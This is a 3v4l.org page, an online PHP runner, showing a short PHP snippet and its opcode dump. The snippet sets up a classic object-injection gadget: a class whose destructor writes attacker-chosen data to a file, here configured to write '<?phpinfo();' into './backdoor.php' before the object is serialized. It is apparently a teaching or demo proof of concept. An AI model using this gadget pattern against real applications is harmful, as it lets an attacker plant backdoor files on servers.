3v4l.org

run code in 300+ PHP versions simultaneously
<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ //File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; serialize($a);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/aJqh8
function name:  (null)
number of ops:  11
compiled vars:  !0 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   13     0  E >   NEW                                              $1      'some_class'
          1        DO_FCALL                                      0          
          2        ASSIGN                                                   !0, $1
   14     3        ASSIGN_OBJ                                               !0, 'logfile'
          4        OP_DATA                                                  '.%2Fbackdoor.php'
   15     5        ASSIGN_OBJ                                               !0, 'data'
          6        OP_DATA                                                  '%3C%3Fphpinfo%28%29%3B'
   16     7        INIT_FCALL                                               'serialize'
          8        SEND_VAR                                                 !0
          9        DO_ICALL                                                 
         10      > RETURN                                                   1

Class some_class:
Function log:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/aJqh8
function name:  log
number of ops:  1
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    7     0  E > > RETURN                                                   null

End of function log

Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/aJqh8
function name:  __destruct
number of ops:  3
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    9     0  E >   INIT_METHOD_CALL                                         'log'
          1        DO_FCALL                                      0          
   10     2      > RETURN                                                   null

End of function __destruct

End of class some_class.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
187.5 ms | 1395 KiB | 15 Q